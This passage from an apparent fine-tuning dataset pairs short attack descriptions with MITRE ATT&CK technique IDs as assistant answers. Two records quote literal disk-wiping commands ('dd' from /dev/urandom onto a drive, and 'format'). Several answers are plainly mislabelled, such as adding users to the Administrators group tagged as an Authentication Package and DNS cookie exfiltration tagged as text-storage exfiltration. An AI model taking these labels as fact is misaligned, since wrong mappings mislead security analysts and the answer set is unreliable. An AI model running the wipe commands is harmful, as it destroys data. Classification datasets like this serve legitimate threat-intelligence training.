                "role": "user",
                "content": "Data is split into small chunks and reassembled post‑delivery, obscuring the original file structure."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the system's GRUB configuration to execute a malicious payload during boot."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group utilizes TeamViewer's remote control feature to execute commands on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team injected a custom PAM module into the authentication process, enabling them to capture cleartext passwords for all local users."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By delivering a crafted XSL stylesheet, the attacker exploits the XSL script processing capability to download and execute additional malware."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware ran a low-level format that reinitialized the partition table, effectively erasing disk data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder adds a concealed account to the Linux /etc/passwd file with a UID below 1000 and a shell set to /usr/sbin/nologin to keep it out of typical user lists."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors issue commands to zero out the disk's volume header and filesystem metadata."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts password policy details from the Windows registry to assess password aging rules."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying a launch agent's plist and using launchctl start, the intruder ensured their keylogger runs every time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers gain remote shell access and replace the site’s CSS with defaced styles."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group executed \"net user\" commands via the command prompt to create a new privileged account."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By weakening the permissions on a Windows service's registry key, the threat actor can drop a malicious DLL that the service loads at start‑up, hijacking its execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor hijacks a container image registry, injecting a malicious layer that is automatically deployed to Kubernetes clusters via the CI/CD pipeline."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software queries the Windows API CheckRemoteDebuggerPresent and terminates if a debugger is present."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stage: Data is uploaded to a remote command-and-control server's staging endpoint before exfil."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary grants a compromised user additional privileged roles in the Azure AD tenant to gain broader access."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a patched version of a popular messaging app that includes a hidden remote access Trojan."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables the host's antivirus software by stopping its services and deleting related registry entries."
            },
            {
                "role": "assistant",
                "content": "T1562 - Impair Defenses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the boot configuration data (BCD) to load malicious drivers at startup."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a software developer's machine, altering source code to include a hidden command‑and‑control channel before the code was released."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised server executes a batch file that triggers \"format /FS:NTFS\" to reformat and clear the entire hard drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The penetration test includes an enumeration of cloud services via the OpenStack API."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a PDF that contains a right-to-left override character, causing the displayed filename to hide the true .exe extension from the victim."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a custom module that queries SMB shares for system details like serial number and BIOS date."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a permissions misconfiguration in the Windows services registry to replace the service's executable path with a malicious command."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised employee account to browse a password‑protected project management tool for upcoming release schedules."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks a victim's AWS account and changes the instance type of several EC2 virtual machines to increase compute resources for crypto‑mining."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script creates a concealed local account and adds it to the administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using domain fronting, the intrusion team hides C2 traffic behind a popular video streaming service, bypassing network filters."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a misconfigured local account with a weak password to gain initial foothold on the network device."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker downloads configuration backups from the victim's backup repository to uncover credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider copies the entire source control directory (including .git history) onto a USB drive."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor on iOS accesses the iCloud keychain to retrieve synced passwords for other devices."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a firmware update flaw, the attacker forces devices to revert to a previous firmware that lacks recent security patches."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script collects browser cookies and sends them via DNS queries to a malicious name server."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged the \"net view\" utility to gather a list of shared resources and connected workstations."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set uses Mavinject to attach malicious code to the Explorer.exe process, achieving code execution via a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker writes malicious payload to the TLS array of a target process, then resumes a suspended thread to trigger the code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PubPrn, the adversary proxies execution of a VBS script to exploit the system."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses nmap to scan the target network for open ports and services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtain a compromised Azure service principal and use it to add a malicious extension to all virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting the LoadAppInit_DLLs flag and appending a Trojan DLL to the AppInit_DLLs list, the attacker ensures code execution on every Windows session."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs reflective DLL injection to bypass security controls and run code within a legitimate Windows service."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script uses the 'Get-LocalGroup' PowerShell cmdlet to list local security groups on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gathers information from the target's press releases and quarterly reports to identify key executives and their roles."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach includes a hidden reverse proxy that relays traffic to the main command server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group encodes exfiltrated data with the uuencode utility before uploading to a cloud bucket."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan queries the Active Directory via LDAP for the 'sAMAccountName' of the executing user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a PowerShell script to extract the list of installed programs via Get-WmiObject Win32_Product."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor triggers a large number of authentication requests via the organization's MFA service to overwhelm the user and obtain a valid approval."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses the 'systeminfo' command combined with driver version checks to infer the presence of vulnerable device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set employs lateral tool transfer by moving a ransomware payload via FTP to another host."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set creates a hierarchy of digital certificates, using a stolen root certificate to sign malicious code."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a drive-by download attack to infect systems with malware"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat configures a router to duplicate all traffic and route the copies to a remote data collection server."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host ran a bash script that invoked 'dd if=/dev/urandom of=/dev/sdb bs=4M' to destroy data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker establishes persistence by adding new users to the Administrators group, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the CreateProcess API with CREATE_SUSPENDED, the threat actor injects a malicious portable executable into the newly created process before resuming it."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects a DLL into a running process using reflective loading to execute its payload without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder repackages the implant, stripping any identifiable headers and resource sections."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing campaign delivers a hidden executable embedded in a zip file attachment to compromise the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a rogue Wi‑Fi access point that mimics the corporate network SSID and bridges traffic to internal VLANs, enabling external devices to communicate with internal assets."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used the Azure AD Graph API to add a malicious service principal, effectively establishing a new cloud account with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder leverages Kerberos ticket requests for service accounts, captures the encrypted ticket hashes, and uses dictionary attacks to crack them offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the Windows Remote Desktop Services (RD Gateway) to tunnel traffic and reach internal servers."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor injects false NS records into the victim's DNS zone to redirect traffic to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised API keys, the threat actor scheduled periodic snapshots of target VMs to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses an obfuscation method that embeds harmful payloads inside everyday files to slip past defenses."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops source code for a DLL into the temp directory and uses the system's compiler to produce the malicious library at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain that mimics a legitimate brand to host credential‑stealing tools."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages token impersonation by capturing a user's Kerberos service ticket (TGS) and replaying it."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performs anti‑analysis checks by searching for sandbox registry entries and virtualization processes before establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs domain squatting, registering a typo‑squatted version of a popular site to lure users."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages NTLM relay attacks to forward authentication requests to other servers and gain access."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deliver a tampered virtual machine image to a cloud environment, embedding persistent backdoors within the VM."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated bootkit targets the system's Secure Boot process, disabling verification and loading unauthorized code before the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
